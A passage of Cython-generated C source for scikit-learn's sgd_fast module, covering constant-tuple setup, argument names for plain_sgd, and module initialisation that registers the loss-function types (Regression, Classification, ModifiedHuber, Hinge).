NPY_UBYTE:       f = \"B\"\n */\n  __pyx_k_tuple_11 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_11)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_11);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_10));\n  PyTuple_SET_ITEM(__pyx_k_tuple_11, 0, ((PyObject *)__pyx_kp_u_10));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_10));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_11));\n\n  /* \"numpy.pxd\":799\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")             # <<<<<<<<<<<<<<\n * \n *         if ((child.byteorder == c'>' and little_endian) or\n */\n  __pyx_k_tuple_14 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_14)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 799; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_14);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_13));\n  PyTuple_SET_ITEM(__pyx_k_tuple_14, 0, ((PyObject *)__pyx_kp_u_13));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_13));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_14));\n\n  /* \"numpy.pxd\":803\n *         if ((child.byteorder == c'>' and little_endian) or\n *             (child.byteorder == c'<' and not little_endian)):\n *             raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *             # One could encode it in the format string and have Cython\n *             # complain instead, BUT: < and > in format strings also imply\n */\n  __pyx_k_tuple_15 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_15)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 803; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_15);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_10));\n  PyTuple_SET_ITEM(__pyx_k_tuple_15, 0, ((PyObject *)__pyx_kp_u_10));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_10));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_15));\n\n  /* \"numpy.pxd\":823\n *             t = child.type_num\n *             if end - f < 5:\n *                 raise RuntimeError(u\"Format string allocated too short.\")             # <<<<<<<<<<<<<<\n * \n *             # Until ticket #99 is fixed, use integers to avoid warnings\n */\n  __pyx_k_tuple_17 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_17)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 823; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_17);\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_16));\n  PyTuple_SET_ITEM(__pyx_k_tuple_17, 0, ((PyObject *)__pyx_kp_u_16));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_16));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_17));\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":327\n * \n * \n * def plain_sgd(np.ndarray[DOUBLE, ndim=1, mode='c'] weights,             # <<<<<<<<<<<<<<\n *               double intercept,\n *               LossFunction loss,\n */\n  __pyx_k_tuple_18 = PyTuple_New(41); if (unlikely(!__pyx_k_tuple_18)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_k_tuple_18);\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__weights));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 0, ((PyObject *)__pyx_n_s__weights));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__weights));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__intercept));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 1, ((PyObject *)__pyx_n_s__intercept));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__intercept));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__loss));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 2, ((PyObject *)__pyx_n_s__loss));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__loss));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__penalty_type));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 3, ((PyObject *)__pyx_n_s__penalty_type));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__penalty_type));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__alpha));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 4, ((PyObject *)__pyx_n_s__alpha));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__alpha));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__C));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 5, ((PyObject *)__pyx_n_s__C));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__C));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__rho));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 6, ((PyObject *)__pyx_n_s__rho));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__rho));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__dataset));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 7, ((PyObject *)__pyx_n_s__dataset));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__dataset));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__n_iter));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 8, ((PyObject *)__pyx_n_s__n_iter));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__n_iter));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__fit_intercept));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 9, ((PyObject *)__pyx_n_s__fit_intercept));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__fit_intercept));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__verbose));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 10, ((PyObject *)__pyx_n_s__verbose));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__verbose));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__shuffle));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 11, ((PyObject *)__pyx_n_s__shuffle));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__shuffle));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__seed));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 12, ((PyObject *)__pyx_n_s__seed));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__seed));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__weight_pos));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 13, ((PyObject *)__pyx_n_s__weight_pos));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__weight_pos));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__weight_neg));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 14, ((PyObject *)__pyx_n_s__weight_neg));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__weight_neg));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__learning_rate));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 15, ((PyObject *)__pyx_n_s__learning_rate));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__learning_rate));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__eta0));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 16, ((PyObject *)__pyx_n_s__eta0));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__eta0));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__power_t));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 17, ((PyObject *)__pyx_n_s__power_t));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__power_t));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__t));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 18, ((PyObject *)__pyx_n_s__t));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__t));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__intercept_decay));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 19, ((PyObject *)__pyx_n_s__intercept_decay));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__intercept_decay));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__n_samples));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 20, ((PyObject *)__pyx_n_s__n_samples));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__n_samples));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__n_features));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 21, ((PyObject *)__pyx_n_s__n_features));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__n_features));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__w));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 22, ((PyObject *)__pyx_n_s__w));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__w));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__x_data_ptr));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 23, ((PyObject *)__pyx_n_s__x_data_ptr));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__x_data_ptr));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__x_ind_ptr));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 24, ((PyObject *)__pyx_n_s__x_ind_ptr));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__x_ind_ptr));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__xnnz));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 25, ((PyObject *)__pyx_n_s__xnnz));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__xnnz));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__eta));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 26, ((PyObject *)__pyx_n_s__eta));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__eta));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__p));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 27, ((PyObject *)__pyx_n_s__p));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__p));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__update));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 28, ((PyObject *)__pyx_n_s__update));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__update));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__sumloss));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 29, ((PyObject *)__pyx_n_s__sumloss));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__sumloss));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__y));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 30, ((PyObject *)__pyx_n_s__y));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__y));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__sample_weight));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 31, ((PyObject *)__pyx_n_s__sample_weight));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__sample_weight));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__class_weight));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 32, ((PyObject *)__pyx_n_s__class_weight));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__class_weight));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__count));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 33, ((PyObject *)__pyx_n_s__count));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__count));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__epoch));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 34, ((PyObject *)__pyx_n_s__epoch));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__epoch));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__i));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 35, ((PyObject *)__pyx_n_s__i));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__i));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__is_hinge));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 36, ((PyObject *)__pyx_n_s__is_hinge));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__is_hinge));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__q));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 37, ((PyObject *)__pyx_n_s__q));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__q));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__q_data_ptr));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 38, ((PyObject *)__pyx_n_s__q_data_ptr));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__q_data_ptr));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__u));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 39, ((PyObject *)__pyx_n_s__u));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__u));\n  __Pyx_INCREF(((PyObject *)__pyx_n_s__t_start));\n  PyTuple_SET_ITEM(__pyx_k_tuple_18, 40, ((PyObject *)__pyx_n_s__t_start));\n  __Pyx_GIVEREF(((PyObject *)__pyx_n_s__t_start));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_18));\n  __pyx_k_codeobj_19 = (PyObject*)__Pyx_PyCode_New(20, 0, 41, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_k_tuple_18, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_20, __pyx_n_s__plain_sgd, 327, __pyx_empty_bytes); if (unlikely(!__pyx_k_codeobj_19)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 327; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_RefNannyFinishContext();\n  return 0;\n  __pyx_L1_error:;\n  __Pyx_RefNannyFinishContext();\n  return -1;\n}\n\nstatic int __Pyx_InitGlobals(void) {\n  if (__Pyx_InitStrings(__pyx_string_tab) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  __pyx_int_15 = PyInt_FromLong(15); if (unlikely(!__pyx_int_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  return 0;\n  __pyx_L1_error:;\n  return -1;\n}\n\n#if PY_MAJOR_VERSION < 3\nPyMODINIT_FUNC initsgd_fast(void); /*proto*/\nPyMODINIT_FUNC initsgd_fast(void)\n#else\nPyMODINIT_FUNC PyInit_sgd_fast(void); /*proto*/\nPyMODINIT_FUNC PyInit_sgd_fast(void)\n#endif\n{\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  __Pyx_RefNannyDeclarations\n  #if CYTHON_REFNANNY\n  __Pyx_RefNanny = __Pyx_RefNannyImportAPI(\"refnanny\");\n  if (!__Pyx_RefNanny) {\n      PyErr_Clear();\n      __Pyx_RefNanny = __Pyx_RefNannyImportAPI(\"Cython.Runtime.refnanny\");\n      if (!__Pyx_RefNanny)\n          Py_FatalError(\"failed to import 'refnanny' module\");\n  }\n  #endif\n  __Pyx_RefNannySetupContext(\"PyMODINIT_FUNC PyInit_sgd_fast(void)\", 0);\n  if ( __Pyx_check_binary_version() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_empty_bytes = PyBytes_FromStringAndSize(\"\", 0); if (unlikely(!__pyx_empty_bytes)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #ifdef __Pyx_CyFunction_USED\n  if (__Pyx_CyFunction_init() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #endif\n  #ifdef __Pyx_FusedFunction_USED\n  if (__pyx_FusedFunction_init() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #endif\n  #ifdef __Pyx_Generator_USED\n  if (__pyx_Generator_init() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #endif\n  /*--- Library function declarations ---*/\n  /*--- Threads initialization code ---*/\n  #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS\n  #ifdef WITH_THREAD /* Python build with threading support? */\n  PyEval_InitThreads();\n  #endif\n  #endif\n  /*--- Module creation code ---*/\n  #if PY_MAJOR_VERSION < 3\n  __pyx_m = Py_InitModule4(__Pyx_NAMESTR(\"sgd_fast\"), __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m);\n  #else\n  __pyx_m = PyModule_Create(&__pyx_moduledef);\n  #endif\n  if (unlikely(!__pyx_m)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #if PY_MAJOR_VERSION >= 3\n  {\n    PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    if (!PyDict_GetItemString(modules, \"sklearn.linear_model.sgd_fast\")) {\n      if (unlikely(PyDict_SetItemString(modules, \"sklearn.linear_model.sgd_fast\", __pyx_m) < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    }\n  }\n  #endif\n  __pyx_b = PyImport_AddModule(__Pyx_NAMESTR(__Pyx_BUILTIN_MODULE_NAME)); if (unlikely(!__pyx_b)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #if CYTHON_COMPILING_IN_PYPY\n  Py_INCREF(__pyx_b);\n  #endif\n  if (__Pyx_SetAttrString(__pyx_m, \"__builtins__\", __pyx_b) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  /*--- Initialize various global constants etc. ---*/\n  if (unlikely(__Pyx_InitGlobals() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__pyx_module_is_main_sklearn__linear_model__sgd_fast) {\n    if (__Pyx_SetAttrString(__pyx_m, \"__name__\", __pyx_n_s____main__) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  }\n  /*--- Builtin init code ---*/\n  if (unlikely(__Pyx_InitCachedBuiltins() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Constants init code ---*/\n  if (unlikely(__Pyx_InitCachedConstants() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  /*--- Global init code ---*/\n  /*--- Variable export code ---*/\n  /*--- Function export code ---*/\n  /*--- Type init code ---*/\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_LossFunction.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_LossFunction.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_12LossFunction_dloss;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_LossFunction) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 46; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_LossFunction.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 46; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"LossFunction\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_LossFunction) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 46; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_LossFunction = &__pyx_type_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_Regression;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Regression.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Regression.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_10Regression_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Regression.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_10Regression_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_Regression.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_Regression) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_Regression.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"Regression\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_Regression) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Regression = &__pyx_type_7sklearn_12linear_model_8sgd_fast_Regression;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_Classification;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Classification.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Classification.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_14Classification_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Classification.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_14Classification_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_Classification.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_Classification) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 94; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_Classification.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 94; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"Classification\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_Classification) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 94; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Classification = &__pyx_type_7sklearn_12linear_model_8sgd_fast_Classification;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_ModifiedHuber = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_ModifiedHuber;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_ModifiedHuber.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_ModifiedHuber.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_ModifiedHuber.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_ModifiedHuber.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Classification;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_ModifiedHuber) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 104; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_ModifiedHuber.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_ModifiedHuber) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 104; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"ModifiedHuber\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_ModifiedHuber) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 104; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_ModifiedHuber = &__pyx_type_7sklearn_12linear_model_8sgd_fast_ModifiedHuber;\n  __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Hinge = &__pyx_vtable_7sklearn_12linear_model_8sgd_fast_Hinge;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Hinge.__pyx_base = *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Hinge.__pyx_base.__pyx_base.loss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_5Hinge_loss;\n  __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Hinge.__pyx_base.__pyx_base.dloss = (double (*)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch))__pyx_f_7sklearn_12linear_model_8sgd_fast_5Hinge_dloss;\n  __pyx_type_7sklearn_12linear_model_8sgd_fast_Hinge.tp_base = __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Classification;\n  if (PyType_Ready(&__pyx_type_7sklearn_12linear_model_8sgd_fast_Hinge) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetVtable(__pyx_type_7sklearn_12linear_model_8sgd_fast_Hinge.tp_dict, __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Hinge) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  if (__Pyx_SetAttrString(__pyx_m, \"Hinge\", (PyObject *)&__pyx_type_7sklearn_12linear_model_8sgd_fast_Hinge) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_ptype_7sklearn_12linear_model_8sgd_fast_Hinge = &__pyx_type_7sklearn_12linear_model_8sgd_fast_Hinge;\n  